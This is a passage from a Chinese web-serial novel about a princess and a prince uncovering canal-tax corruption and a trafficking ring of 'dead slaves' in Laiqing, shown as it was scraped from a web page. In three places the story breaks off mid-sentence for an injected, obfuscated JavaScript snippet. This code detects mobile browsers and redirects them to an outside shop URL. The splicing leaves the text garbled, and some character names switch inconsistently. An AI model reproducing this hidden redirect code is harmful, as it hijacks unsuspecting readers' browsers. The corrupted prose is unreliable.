“你可知道,其中要是什么时候搭上淮南王的?” 霍封黔:“他没有搭上淮南王,他从头到尾就是淮南王的人。他是淮南王安插在北边的眼线,为的就是与北翟诸国做生意,可惜北翟那群蛮人不买账,淮南王才转而与吐谷浑做起了营生。” “其实,无论靖国公也好,安国公也罢,甚至祁中岳,都不过是为吐谷浑王和淮南王搭桥的棋子罢了,这条线上的所有人,各有各的心思,各有各的/欲/望,靖国公弑父杀兄揭发祁中岳,安国公垄断河西商贸,祁中岳暗中与吐谷浑勾结为自己谋求后路。” “但不管是谁,是选择睁一只眼闭一只眼,或者掺和进来,最后都不过是踩着百姓的血肉上位,枕着百姓的白骨安眠。却为了防止自己午夜梦回时后悔,反复告诉自己是为了手下的百姓,为了大义而非私心。自欺欺人,何等可笑。” 霍封黔的手微微颤抖着端起,用碗盖轻轻拨弄了一下,赞道:“晚来天欲雪,能饮一杯无。这‘青天白雪’果然如传闻中一样,上青下白,倒是南方不得多见的美。” 章麓:“若是霍先生有兴趣,将来可去北方一观。” 霍封琏抚摸着自己的骨瘦如柴的大腿,笑着摇头:“草民已经等不到那个时候了。” 点到即止,彼此心知肚明。 “你既知道这是错的,为何要选择这条路?”李鹤霖蹙眉问道。他对眼前之人的感慨并不感冒,他厌恶那些为非作歹的人,却更厌恶明知对方为非作歹,还要为虎作伥的人。 霍封黔放下茶碗:“当年我中了进士,却因得罪了权贵被迫除名,三年后再试,都挺到了殿试,只差一步登天,却还是因着那位权贵连京城都再也进不去了。” 他的目光悠长,仿若时光倒退,再次回到了过去:“也是那一年,范阳章氏嫡子章云锋被点为状元,却没有接受陛下的封官,连烧尾宴都没去,就直接离开京城回到了范阳。有人说他狂妄,有人慕他洒脱,可我却只恨他明明不想当官,却偏偏要与万千寒门子弟去抢那唯一的名额。” 说到这里,他的语气忽然低落:“当时的虞庆侯还是郡主的大伯,他拿捏着朔方和平卢两位节度使的把柄,令他们主动辞官、散尽家财,自己把持着幽云十六州,势如中天。可当战火四起,民不聊生时,他却直接封了所有去往北方的路,想要自立为王、独善其身。” 他的眼眸中突然法爆出一股蓬勃的恨意:“他明明是当时最有能力推翻旧朝自立为皇的人!但他却选择龟缩在北境,眼睁睁的看着外面的百姓流离失所!食不果腹!章氏不是将北方治理的很好吗?为什么不称王,解救万民于水火?” 章麓蹙眉道:“那是因为章氏世代都在北境,从没离开过。但天下何其之大,你怎么就认为章氏一定有能力将北境的繁荣带向全国?” 霍封黔这番话章麓听过不少,多是道听途说了一些关于章氏治理北境的事,认为北境是个世外桃源,将虞庆侯当做最后的救命稻草。可当这根稻草不偏向他们的时候,他们就会怨恨,怨恨他的‘沽名钓誉’。 霍封黔:“因为章氏族训第一条:无私无我。” 章麓面露诧异:“你竟知道这个?” “我曾听过奉州伯在巨鹿讲学。” “原来如此。”章麓笑了笑,道:“可是,人不可能没有私心。以其无私,故能成其私,那是仙人,不是凡人。你我皆是凡夫俗子,无私无我这种话,听听便罢。” “可你生在豪门世家,一生都要与功名利禄打交道,若是章云锋没死,若是祁中岳不曾叛变,如今的你又会是何模样?你的出身决定了你这辈子都会卷入皇权争斗,不可能独善其身。” 看着情绪激动的霍封黔,章麓不解的问道:“你为什么对章氏如此愤懑呢?就因为大伯没有称霸中原之心?还是因为我兄长与寒门学子争了状元的位置?其实以霍家当时的实力,就算科考失败,也不至于食不果腹,即便战火蔓延,也不会流离失所。” 霍封黔深吸一口气,双手攥紧了盖在腿上的毯子,抓出一道道褶皱。 他目光沉沉的看着章麓:“你想知道祁中岳为什么会选择离开中土去吐谷浑做个劳什子的丞相吗?” 章麓攥着茶碗的手倏地一紧:“你知道?” “我第二次落榜后,曾去过淮南,去扬州见到了淮南王,还救下了被光州刺史追杀的杨奉贤。他说他对我一见钟情,可他却为了权势负了我。” 章麓蹙眉,心中不解。 霍封黔继续道:“当年上郡要建城中之城,拉拢往来客商,上郡司马祁越泽自然而然的成了这件事的主事人。杨奉贤刚被兄弟算计,失去了父亲的信任,极为想要用一件功劳证明自己,便打上了祁越泽的主意。” 章麓眉心一跳:“当年祁越泽拼死也不肯说出口的那个人,那个人是……” 当年建城之时,发生了一件很轰动的事,祁中岳独子祁越泽违反虞庆侯定下的条律,放了好几个黑户进来,使得千金城混乱了好一阵子,差点垮掉。如果不是霍封黔提起,章麓都快要忘记了。 “就是杨奉贤。”霍封黔闭上了眼:“我不知道他怎么做到的,但他就是让一个大将军的独子,在文人中富有盛名的朗月公子成为了他的胯.下之臣。杨奉贤因此获得了城中之城的情报,也在城建好之后,拿到了通关文牒。” 章麓握紧了拳头:“祁中岳当时发现了这件事,将祁越泽吊了起来,打了他好几天,他都死咬着不肯说出来。这个杨奉贤有那么大的魅力吗?竟让他连家族亲人都不顾了!” “谁知道呢?”霍封黔自嘲道。 “后来呢?” “后来啊,杨奉贤手下的黑户,在千金城很是赚了一笔,还盗走了许多小手艺人的传家宝册,在淮南另起炉灶,赚了许多钱。因此,杨奉贤重新被杨家重用,淮南王不知道从哪儿得知了这个消息,前来问我情况,我便一五一十的说了。当时靖国公违逆了淮南王的意愿,没有将从奉州伯那里偷来的图册交给他,反而去往长安投奔了皇帝。淮南王失望至极,将他逐出权利中心,将收拢了祁越泽的杨奉贤纳为了亲信。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可是,凭祁家是章氏一族世代家臣,凭他手中握有世代虞庆侯在北境推行的政策,有外人想要知道了解的有关北境的一切,凭你们收拢的人才研究出来的那些东西,就足以让吐谷浑的实力再强上许多,而且那些也是淮南王想要的。”霍封黔目光嘲讽:“要怪就怪你们章氏为了自保,将幽云十六州闭锁起来,只顾自己发展不顾别人的死活,反倒来害人害己。” 章麓不欲与他争辩,反复查看霍封黔递给自己的信件,保证那些落款‘祁’的书信确实出自祁中岳和祁越泽之手后,问道:“这些你是从哪里得来的?” “自然是杨奉贤的书房。”霍封琏又拿出一张存单递给李鹤霖:“完整的账册我全都誊抄了一份,每年都会让亲信送往长安,存在聚粹轩的典当阁里。这是票据,有了它,河南、淮南两地所有的贪官污吏都跑不掉,所有通过淮南王与西戎勾结的世家也都不可能全身而退。” “给我?” 或许是对方给得太过爽快,李鹤霖始终保持怀疑。 “自然不是白给,我有个请求。”霍封琏道。 他直勾勾的盯着章麓,不停得咳嗽令他唇角溢血,面色苍白。明明盖着厚厚的绒毯却依旧冷得发抖,但他依旧挺直脊背坐在轮椅上,丝毫不肯躬身一下。 “我不相信人间有公道,可我又希望这人间有公道。祁中岳能顺利的坐稳宰相的位置,不单单靠着从北境偷来的那些东西,还有我的妹妹。杨奉贤将她送给了吐谷浑战神拓拔大元帅,那是个党项人,是吐谷浑的异姓王。” 章麓忽然想起上元灯节在茶楼上,黄媛媛说起的那件事,问道:“传闻你长相秀美,有仙人之姿,登过淮南王的美人榜,难道不是你?” 霍封黔凄凉的笑了起来:“当然不是我,是我妹妹。‘仙女落人间,人间多欢笑,颜色不及心,谁能识旧貌。’” 他看向李鹤霖和章麓:“我想请你们救她,她身上有开启密库的令牌,那密库里有足以让大晋免税三年的金银财宝,是我这十年,通过淮南王的运输线积存下来的。” “本王可以答应你,但这些还不够。” “殿下还想要什么?” “账本,所有的漕运账本,还有死奴的去向。” 113. 第 113 章 莱青的事情被李鹤霖写在信里,秘密送往长安。 自那日在水门拦截了商船,并将杨霍两家的当家人缉拿后,近半个月李鹤霖都没再进过税务司的衙门,墨云骑依旧在码头上查船,商人们更加人心惶惶。不过畏惧于他手中的墨云骑,莱青的官员也没想着主动去招惹他,漕运的事也就这样继续耽搁了下去。 而莱青郡的物价在这个时间却悄悄涨了起来。 最近登、青、莱三州及淮南的大同商号不知道发什么疯,突然开始收购夏粮和甘蔗,也不是高价收购,就比常价每旦高了一百文。虽看着不显,但对于老百姓来说,每亩夏粮也就能收十旦左右,户均五亩地,就能收五十旦,一旦多一百文,五十旦就是五千文,相当于四五两银子,足够给孩子置办一套不错的嫁妆或者聘礼。 于是,百姓疯了一样全都将夏粮卖给了大同商号,而官员们自家开设的粮铺,竟颗粒无收! 下个月就到了市籴的时候,自己家的粮铺没有粮,他如何从市籴中获利? 青州、滑州、徐州、衮州、郓州的刺史在府中急得团团转,直到章麓命人在码头又抓了一批粮商,最后纷纷书信至莱青大营找上了苏用,而苏用看着一封封加急密信,头大的直接找上了雨陶郡主。 两人密探了一下午,最后苏用出来时,面色虽然依旧凝重,却早已没了之前的慌乱。 次日,启明星刚刚升起,登州刺史便带兵闯入了税务司。 火光之中,章麓看向来人:“这位大人,你是要造反吗?” “章姑娘误会了,本官只是来劝诫章姑娘一些事。陛下封你为郡主是恩慈,你们章家当感恩戴德,不该勾结起来意图越权掌控漕运!若两道的官员联名上奏,将你们章家全族下大狱,到时候大家面子上都不好看。” 章麓露出一个不屑的笑容:“这位大人,你真的敢参奏吗?登州藏着什么猫腻大家心知肚明,朝廷该查的都查的一清二楚,现在容留尔等放肆,不过是要找个名正言顺的理由,陛下一定很欢迎你雪中送炭。” 登州刺史咬牙:“章姑娘,你无缘无故在码头抓了一帮商人,还扣下他们的货物?希望章姑娘能将人放了,把货也还了,咱们相安无事,否则……” “否则什么?”章麓扶刀上前:“本郡主奉陛下之命,彻查济水漕运,凡与漕运相关的人、船、货本郡主都有权查验,依法扣押。倒是你这位不知道姓甚名谁的官,以何名目让本郡主放人?” “陛下?章姑娘,您倒不必张口闭口的那皇帝来压,下官知道淳王殿下是钦差,陛下恩典他来查漕运税务,但不代表你们的手可以伸得太长。” 章麓抬手,一卷明黄色绣有龙纹的圣旨被晴放捧着,放在了章麓的掌心。 她将圣旨在登州刺史面前打开,上面写着任命章麓为钦差大臣,彻查济水全境漕运,上面陛下玺印、内阁金印一个不少。 “这位不知道姓甚名谁的官员,主犯杨奉贤可都一一交代了,你们这群刺史、郡司马——” “章姑娘是不是误会了什么?”登州刺史打断章麓的话:“你今日所抓之人,都是正经商人,船隐、盐引、商税一样不缺,一样不少,他们每一次的过路的单据都在这里了,你可以随意查验。”他一拍手,几个官兵就抬着一个木箱走了过来,在章麓的面前将木箱打开。 章麓疑惑的低头拿起几份船引,仔细翻了起来。 “章姑娘,你虽有郡主封号,但毕竟不姓李,行事太过乖张的话,是很容易得罪人的。章家得陛下荣宠才有今日的风光无两,可别因为无谓的功名利禄,自毁前程。”登州刺史语气缓慢又温和,但他的字字句句都如一把把尖刀,搂着晃眼的寒芒。 章麓将船引丢回箱子,扶刀行至登州刺史身侧,盯着他轻蔑的目光平静的说到:“本郡主倒是有一点想请教请教这位不知姓名的官员。” 登州刺史扬眉:“愿闻其详。” “莱青港虽然也有海运、关口,接收外邦船只,发放通关文牒,但并非甲等港口,只是乙等罢了。按大梁海运律例,乙等港口一年只能放两次官船,一次一百纲,其中五十纲必须保证是米粮,二十纲贡品,其余三十纲可载金银玉器、古董珍玩等其他器物,或租借给商人。但是,你的船引里,单今年年后到现在,就已经放出去两次官船,还是租借给商人使用。每次租借的数量远超一百纲,按律例来说,本郡主完全可以以失察的罪名抓你!” “你!”登州刺史诧异的看着章麓,他没想到一个闺阁女子竟对漕运之事如此了解!难不成是淳王殿下告诉她的?可淳王不是个只知道领兵打仗的武夫吗?怎么可能会了解漕运律例! 他有些心慌,脑子里快速思考着对策,不由道:“律法规定的次数是按季节来分的,不是按日子!有些去年没用完的租借额也会挪动到今年,今年没用完挪动到明年。规矩是死的,人是活得,陛下鼓励经商,就得默认这种灵活变通。” 章麓摩挲着刀柄,目光上下打量着苏用,问道:“这位大人,很是懂‘灵活变通’呢?” “本郡主虽是女子,但也是见过血的。”章麓的刀缓缓抽离刀鞘:“十二岁上战场,爬过城墙,翻过峭壁,躺过万人坑。也亲眼见过亲哥哥被敌军削成人彘,这世上所有冷血之事都见过,也就没有什么是本姑娘不敢做的。你以为把两道的官员都拉进这摊泥里,就能让他们拧成一股绳,官官相护,连皇子都不放在眼里?本郡主就不敢动你?陆家军就在卑沙城,你要不要试试,被铁蹄踏平的滋味?” 登州刺史忍不住后退一步:“你威胁我?” “威胁?不。”章麓的脸上挂着温良贤淑的贵女笑容:“本郡主只是将谈判的筹码拿上桌,问问这位大人敢不敢跟本郡主赌着一局。” “郡主,陛下或许任命你为钦差,但没有让渡给你兵权,你不能……” “这位不知姓名的官员,有件事本公主不得不提醒你。”章麓死死盯着登州刺史:“莱青港不是扬州港更不是苏州港、泉州港、潮州港,开不出那么多官船的船引。登州府只是因为离新罗、高丽近,才在莱青郡开设港口,但不意味着这两地所有的商人都要走海路,走海路也未必都会来登州,大多都是去扬州往淮南、江南一带。因此,登州只有两路发运司,分别发往都畿郑县和兖州彭城,洛阳以西是围堰,大型船只过不去,只能选择在港口换船,或者走陆路。” “郑县还好说,换了之后就进入京畿地区,由户部直接管辖。但过了彭城再往南,就是扬州港的管辖范围了。货主们转港时需要租用码头苦力,这费用就是一笔不小的数目,但这笔费用进不了官府的口袋,都是由当地商会或者漕帮掌握,每月只需上交黄巾税。然而财帛动人心,总有官员想要在此分一杯羹,所以户部专门为此制定了各个港口开闸的时间,官船放行的次数和数量,以防止各港口过多的开闸放船,滋生走私和官船私用的贪污腐败。” 登州刺史眼神闪烁,下意识想要躲避。 但章麓没有给他逃避的机会,往前一步堵住他的去路:“你们往年的账本和船引自以为藏的巧妙,我们发现不了。殊不知,本郡主和淳王早就看过了。你们去年三月刚破冰,就放出去满满一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李鹤霖用手指拨了拨刀刃,下一刻直接抵在了登州刺史脖颈边:“本王知道,你们已经将登州封了起来。你们觉得断了与外界的通信,本王就是个可以任你们宰割的鱼肉,揉扁搓圆都行。可你们别忘了,墨云骑是柄锐利尖矛,可刺破一切布防。你猜猜,今日你送来的这箱证据,本王能不能成功送往长安。” 登州刺史一梗,胸口剧烈起伏着。他盯着章麓刀尖的血,只觉得眼前昏花一片。 李鹤霖:“在没有确切的罪证之前,本王不会乱抓人,但是,小心点你们的尾巴,已经冒出尖儿来了。” 直到被李鹤霖的兵丢出税务司,他才猛然惊醒,用力的抓住司参的胳膊:“必须要告诉王爷!要告诉王爷!这件事不能再继续下去了,简直就是玩火自焚!雨陶郡主会害了我们所有人!” * 子时刚至,萧雷脚步匆匆的赶回莱青。 “殿下,我们按照霍封黔提供的消息查到了东莱守捉,苏用确实在大营藏了东西,还有那些死奴,都藏在大营不远的山头上,名义是匪寨,实则都是关押死奴的营地。” 李鹤霖立刻往外走,刚走出两步又回过头看向章麓:“死奴的事交给我,你留在莱青要小心。” “你也是。” 待李鹤霖领着墨云骑离开后,章麓立马书信一封交给晴野:“快马加鞭送去衮州,交到双竹手上,告诉他,务必在明日午后前,将七成以上的商人都拉拢到我们这边。不要停止收粮的脚步,封地里的收完就去外面,徐县、沛县、丰县、宿县、下邳、彭城,甚至开州的陶雎、阳城,乃至朱仙镇,以最快的速度收拢米粮运往泰山。这群人就要被逼到绝路了。” 她立马招来屋顶上停留的海东青,将一封密信塞进了竹筒。 “这箱船引能不能送到陛下的桌案上,就看世子哥哥的了。” 114. 第 114 章 李鹤霖已经抵达东莱守捉附近时,已然是子时末。 萧雷能这么快查到这里,多亏了一个从死奴营跑出来的知情人。而这位知情人被藏在了郊外一处不起眼的小院,李鹤霖到的时候,人刚被卢康强按着洗漱干净,还喂了一顿饱饭。 李鹤霖一身风尘仆仆,不待那人见礼,就直接开门见山道:“姓甚名谁,家住何方?为什么会成为死奴,成为死奴之后做了什么?通通道来。” 报信人道:“草民原是青州武定县的县令,名叫陆怀英,三个月前无意中发现莱青节度使苏用勾结官员贩卖死奴,被灭口前逃了出来,一直躲藏在这里。” “你的家人呢?” “都死了,苏用为了逼我出来,抓了我儿子,将他丢在了附近的死奴营,还将告示张贴在城中大大小小的地方。可我不敢出来,这就是个陷阱,我一旦露面,不单单自己性命不保,我儿子……也会死!”报信人的神色困苦不堪:“这几天听闻有大官到了登州,要查税务司的账,莱青等地的官员很是老实了几天,死奴都被关在山上不让下来,我就想着,看看能不能摸上去,找找我的儿子。只是没想到在附近转悠的时候,会被这位大人发现。”他看了一眼李鹤霖身侧的萧雷。 “你愿意告发苏用吗?”李鹤霖问。 “这……”报信人有片刻迟疑。 李鹤霖许诺:“我可以找到你儿子,保他性命无虞。” “若贵人当真能做到!我愿意告发苏用!” “你现在不是官身,民告官可不容易。”李鹤霖提前将利弊与他说清:“死奴的事牵扯到的不止一个世家,很可能牵连整个河南道与淮南道,两道二十州的大半官员都可能因为你的状告起杀心。” 报信人沉默了。 过了很久,他才抬起头看向李鹤霖:“贵人怕吗?” “为何这么问?” 报信人道:“草民当过官,知道有利益狗链的官之间能互相保护成什么样子。金矿这么大,敢于侵吞他的人当年不惧怕皇帝,如今未必会惧怕泰安帝。待草民站出来,他们或许会要草民死,但更多的矛头和目光一定会聚集在您的身上。或许您可以荡涤德州的黑暗,但地方的官员们也好,世家也罢,绝不会允许一个嫉恶如仇的皇子登上至尊之位。” “毕竟,没有任何人能发誓自己一生都没有做过一件有愧于民的事,哪怕是您的恩师王相权丞相,他也曾为了平定许州放弃过瑞康县数百万百姓的性命。王爷,您当真要与两道的官场,乃至全大晋的官场为敌吗?” 李鹤霖:“本王无意与任何人为敌,但贪赃枉法民不聊生也会动摇国之根本。本王坐不上那个位置不要紧,还有其他弟弟、四弟的孩子,或其他宗亲。可民有冤,本王若不能替他们讨回公道,那为何还要身居庙堂,享受百姓的供奉。” 报信人沉默的看着李鹤霖半晌,道:“草民明白了。如果贵人当真有此决心和心性,草民相信,贵人定能救出草民的儿子!” 他对李鹤霖三叩首,每一下都结结实实。 “草民会去武定县衙门前击鼓鸣冤,草民不惧生死,但求殿下能为草民申冤,为死在金矿下的亡魂申冤!” * 武定县的衙门口,刚刚天明,摊贩店铺才启门营业,就被一阵鸣冤鼓的声音吸引了目光。 武定县县令刚在码头见过淮南王遣来的女官,凳子还没坐热,就被这道鼓声敲得呛了一口茶。 他匆忙换上官服来到堂前,一眼就认出是前任的前任武定县县令王敬。当即一拍惊堂木,怒喝道:“通缉犯竟还敢出现在本官面前,来人啊!将人押去大牢,听候发落!” “大人!”师爷赶忙拉住县令,凑上前低声道:“淳王已到莱青守捉,里武定县就三里,此人来敲鼓,定然是有人指使,说不得就有淳王的人在附近瞧着,莫叫人捏了把柄。” 武定县县令顿时反应过来,改口道:“先带去大牢关押,待本官查验过他的死契再做定夺。”然后匆匆退堂。 萧雷隐在围观的人群里,将武定县县令的反应尽收眼底,他迅速回到郊外的宅院,将事情原原本本的告诉了淳王。 “他儿子怎么样?” “不太好,被发现的时候,一直被吊着,脱水严重。卢康和徐松不敢打草惊蛇,确认了位置就退出来了。” 李鹤霖摸了摸唇角:“萧找几个手脚麻利轻功好的摸上去,尽快确定所有死奴营的位置。一旦把他儿子救下来,其他的死奴营很快就会得到消息,留给我们的时间不多,一定要速战速决。” “明白!” * 花楼里,正与几个花娘捉迷藏的苏集被人一脚踹飞,狠狠撞在了桌边上,痛的他呲牙咧嘴。一把摘下眼上红布,正要发怒,就看见自己父亲那双恨不得杀了他眼神上:“爹?” “你个蠢货!”苏用又连踹了柳及七八脚,直把人踹的嗷嗷直叫,在地上不住的爬行躲避,宛若一条垂死挣扎的蛆。 “爹!爹!别踹了!我错了!我再也不敢了!” “再?你还有再?死奴营被人开了洞你都不知道!蠢货!”苏用又一脚狠狠的踹在了儿子的身上,气喘吁吁的咆哮道:“我让你好好待在山上盯着,你就是这么给老子盯得?盯到一群小娘皮的肚子上去了!” “爹!我错了!我再也不敢了啊!” “没有再了!”他拧着儿子的耳朵,将人拖出花楼,钻进等候多时的马车:“我已经为你安排好了,你娘会带着你去徐州投奔中书令的弟弟,到了那里就给我老实点,不许再耍小聪明,知道吗?” “知道了,知道了。”苏集赶忙点头。 苏用掀开车帘,吩咐道:“把花楼烧了,一个活口都不留。” 属下愣了一下,犹豫道:“可是……”这是您用了十年攒下的基业,全凭着这地方收集情报,拿捏官员把柄。 “没有可是!”苏用厉声道:“我不喜欢说第二遍!” 属下急忙低下头:“是。” 苏用送走了儿子和妻子,将一干小妾全部打杀丢入乱葬岗,趁着花楼失火吸引了大部分守备的注意,暗中将府中死奴送去武定县西郊城外五里的一处黑码头。 接头之人一袭藏青色长袍,头戴兜里,怀中抱剑,一副江湖侠客模样。 他的声音沙哑得不成样子,露出的脖颈和半张脸上带着明显的坑洼,像是被火烧过一样。 “主子许诺,只要你将事情一力承担下来,保你妻子儿子一生无虞。” “是!我知道!”苏用脸色灰败。 看着他将府上的死奴们驱赶至船上,一路南下,才骑上快马,趁着夜色返回城中。 隐匿在山坡上的萧雷咧开嘴笑了笑,抬起手食指与中指并拢在空中画了个圈,往前一指,身侧一只穿云箭瞬间被射上天空。 船上,方才接头的主事抬头瞧见,顿觉不妙,正欲指挥船夫加速,便见无数勾爪从河道左右飞射而来,瞬间捅穿船体,牢牢将船钉在了原地。 周其余光着膀子与众将士悬挂于山壁上,一锤一锤的将绞丝绳的另一端钉进山体,呐喊道:“小崽子们都给我加把力!今天必须将这艘船给我按死在这儿!” “是!”山呼海啸的声音震撼山月。 船上的主事立刻命令道:“拿火把把绳子烧掉!快!” 船员们飞快的点燃备用的火把,试图点燃绳索,然而飞爪嵌入的地方并不靠近船体上方,单纯的伸手根本碰不到。 “有人上来了!有人爬上来了!”一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13344679|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试图点火的船员惊叫着退离船边,指着前方惊叫着。 下一秒,一柄飞刀而至,割断了他的喉咙。 楼松如水鬼一般,带着重骑卫一众兄弟,翻上了这艘‘货船’。 * 苏用回城之后没有回家,直奔县令府邸,还没入内就被里面此起彼伏的惊叫声震了一下。 他敲开后门,见开门的小厮神色惶恐,蹙眉问道:“发生了什么?” “有……有有……有有人丢了三具死尸在院子里!”小厮惊恐的话都讲不利索。 苏用眉心一跳,猛的想起被送走的儿子,一把推开他往内院冲去。 刚进内院,就看见穿着一身中衣的武定县县令跌坐在主屋门口的台阶上,身体颤抖,瞪大双眼,□□的地板上已然一片水迹。 苏用上前拨开尸体看了一眼面容,登时一惊,正是与那黑衣人随行的其中三个!但这里面没有黑衣人也没有儿子,不知道他们如何? 但也知道凶多极少。只是,这三具尸体里,有一个却非常敏感,是青州张氏家主的庶子,当朝中书令张锦的亲侄子。 是淳王已经发现死奴营了吗?还是发现了雨陶郡主的秘密? 他走到武定县县令身侧,沉声道:“来着不善,先将人都驱出去。” 对方回过神来,赶忙将探头探脑的一众奴仆都赶出去。 “进屋子,进屋子。”武定县县令退着走回屋子,砰的一声把门关上,又拿了两把椅子抵住大门,嘴里神神叨叨的念着佛祖保佑。 见他这幅胆小模样,苏用摇了摇头,坐在桌边自己给自己倒了杯茶:“我刚刚才将苏集送上船,与我接头的人就死了,绝对不是巧合。” “陆怀英突然跑回来了!你当初不是说找人杀了他吗?怎么他还活着啊?”武定县县令简直要疯了,他在屋子里团团转,时不时往门口看一眼,总感觉椅子动了一下,大惊小怪的不停嘟囔着各种神佛的尊号。 苏用不耐烦的将茶杯狠狠磕在桌上:“你能不能别念叨了,拜那么多佛要是能管用,那群愚民早发财了!” “那能怎么办!”武定县县令崩溃的喊到:“他们拜的是菩萨吗?是雨陶郡主!当然不管用!苏用,我告诉你,现在淳王就在武定县的地界上,你要是不想办法把这事儿解决了,别怪我翻脸不认人!” “荒唐!”苏用心头一跳,猛的站起来,指着武定县县令道:“你是得了失心疯了吗!当真觉得你没参与人口的事儿能撇得干净?到时候死奴营被查,必然会扯出主上!武定牙行的分成你占了三成,每月几万两白银的入账,真以为装聋作哑都推到我身上就能洗白?我呸!淳王也不是个傻子!要是没你帮忙改户籍,怎么来的那么多死奴!” 死奴牵扯到太多的事,若是武定县县令真的为保命倒戈淳王,一股脑全都说出来,那淮南王这么多年的计划就全泡汤了!必须把死奴的事按死在武定县。 武定县县令简直后悔得要死,他双手捂头蹲坐在地:“当初就不该掺和进你们这帮人的生意里!” 苏用冷笑:“哼,你有得选?要不是淮南王当年救你,你早就被彭博远那个蠢货虐待死了!行了,别说这些没用的。让人跟到这里是我的问题,这里发生的事我一力承担,你明日一早就可以直接带人去拿……去拿虞河。我会跟他讲清楚条件,保他妻儿无忧。” 武定县县令低着头,没有应声,不知道在想什么。 苏用走到他面前,蹲下身,强迫他抬起头直视自己:“肖敏,别忘了,你家里人的命可还握在淮南王的手上。” “可是……”肖敏有些焦躁:“虞河是你的副将,他参与其中,难道你就能逃脱干系了?” “这就是我的事了,你不必管,按我说的做!” 115. 第 115 章 昏暗的地牢里,李鹤霖站在刑架前,看着奄奄一息嘴却一直闭口不言的主事,道:“不必再问了,他是死士,直接杀了埋掉。” “是。” 这时,萧雷从上面下来,走到李鹤霖耳旁低声耳语了几句。 李鹤霖面露诧异:“你确定他们抓的是副将而不是苏用?” “两人应当是昨夜商量好的,肖敏的府宅周围有不少身手敏捷的暗卫,属下的人无法靠近院子偷听,不过,那些暗卫训练有素,瞧着不太像是肖敏或者苏用养的。” 李鹤霖勾了勾唇:“他们当然养不起,但登州的那位却可以。” “那我们怎么办?要去县衙吗?” 李鹤霖:“去县衙做什么?我们上山。” * 李鹤霖上山的时候,肖敏正提着食盒在牢里与伪装成狱卒的苏用商量对策。 听闻淳王没有去县衙,而是离开了武定,两人都有些摸不清头脑。 “不对。”苏用突然站起来,命人将虞河放了,“他根本没想来兴师问罪,陆怀英就是个障眼法!他的目标从始至终就是山上的死奴!” “完了完了,全完了。” 苏用带着虞河飞快的朝监牢外跑去:“快!让所有守军都上山!不留活口!” 待苏用匆匆离开,一直躲在外面的师爷飞速跑了过来,低声问:“大人,淳王这是已经摸清了几个死奴营的位置啊,咱们要不要另做打算?” 肖敏慌乱的眼神游移了一番,一咬牙,道:“收拾马车,咱们赶紧跑!” 两人刚踏进县衙,把重要的金银器物都封箱搬到院子里之后,徐松便如幽魂一般从正屋房顶上倒吊下来,笑眯眯的瞅着肖敏:“肖大人,这是要去哪儿啊?” 肖敏被吓了一大跳,跌坐在地上不敢动弹,十几名墨云骑飞快的从屋顶一跃而下,控制住了整个县衙。 徐松翻身下来,走到肖敏面前,弯下腰看着他:“肖大人,我们王爷有几个问题想要请教你,不知你现在方不方便?” 肖敏咽了咽口水,非常识时务:“大人有什么事尽管问,下官定然知无不言言无不尽!” 徐松满意肖敏的识趣:“那就好。第一个问题,青、登、莱三州的死奴都是从哪儿来的?” “这……下官要是说了,能免死罪吗?”肖敏弱弱的问。 徐松笑里藏刀:“肖大人,您没资格谈条件,但如果您说的话都是真的,王爷倒是可以考虑考虑你的请求。” 肖敏缩了缩脖子,语速飞快:“三州用的死奴都是杨家送过来的!杨奉贤有个妹妹,嫁给了宰相张锦的亲弟弟做妾!所有肉货……就是死奴,都是张府的人负责打通各个关口,再由杨家分发给各个州府的货主。因为杨家的路子广,哪个州府都有杨家的生意,但杨家不负责货到之后的事情,都是各个州府自己家的商人来管理和贩卖,青州就是柳家负责,但自从柳杰被砍了脑袋,就被苏用接手了。” “你说张锦?”徐松眯着眼,“张大人的为人我可是知道,他会跟你同流合污?你这嘴里怕是没有一句实话啊。” “我说的句句属实!张府不是说张锦张大人,说得是张大人的弟弟!上头的人确实想要跟张锦大人打通关系,但张锦大人油盐不进啊,便只能走他弟弟的路子,他那个弟弟贪财又好色,苏用送给他的好几个美人,还都是从我这儿……那个……改换户籍的。”说到最后,肖敏的声音越来越小。 徐松面露鄙夷之色:“贩卖死奴肯定要有名册,保证对得上数,名册呢?” 肖敏咽了咽口水,神色惶惶,瞳孔不安的抖动着,他的嘴唇蠕动了半晌,刚说出一个字:“李……” 一柄飞刀从顶上的小窗急射而入,直朝肖敏而来。楼松反应最快,直接跨步蹬墙而上,一把掀开钉在砖墙上的木窗,像一只滑腻的鱼一样钻了出去。 徐松连忙上前查看,只见被他打飞的暗器还是划伤了肖敏,伤口发污应是有毒,他当机立断砍断中毒的胳膊,痛得肖敏喉咙中卡着一口血,被他狠狠一拍直接吐了出来。 “啊——” 肖敏感觉到自己呼吸不上来了,头一阵一阵的眩晕着,他听不清徐松在说什么,但濒死的恐惧令他的脑海中出现了儿子的面容,他死死拉着徐松的衣袖,张开嘴,努力将字咬清楚:“……女官……李啸音的女官……” “女官?喂!”徐松不敢晃动他,一边为他包扎伤口,一边追问。 但肖敏痛极了,整个人都是懵的。 徐松见肖敏这般模样,找了个人将他背起来,迅速赶往城外与李鹤霖回合。 此时,李鹤霖已经将陆怀英的儿子救出来。他拿过飞刀仔细观察,没有发现任何印记,但是这种薄如蝉翼的铁器不适用天寒地冻的北方,但南方只有一个地方能造…… 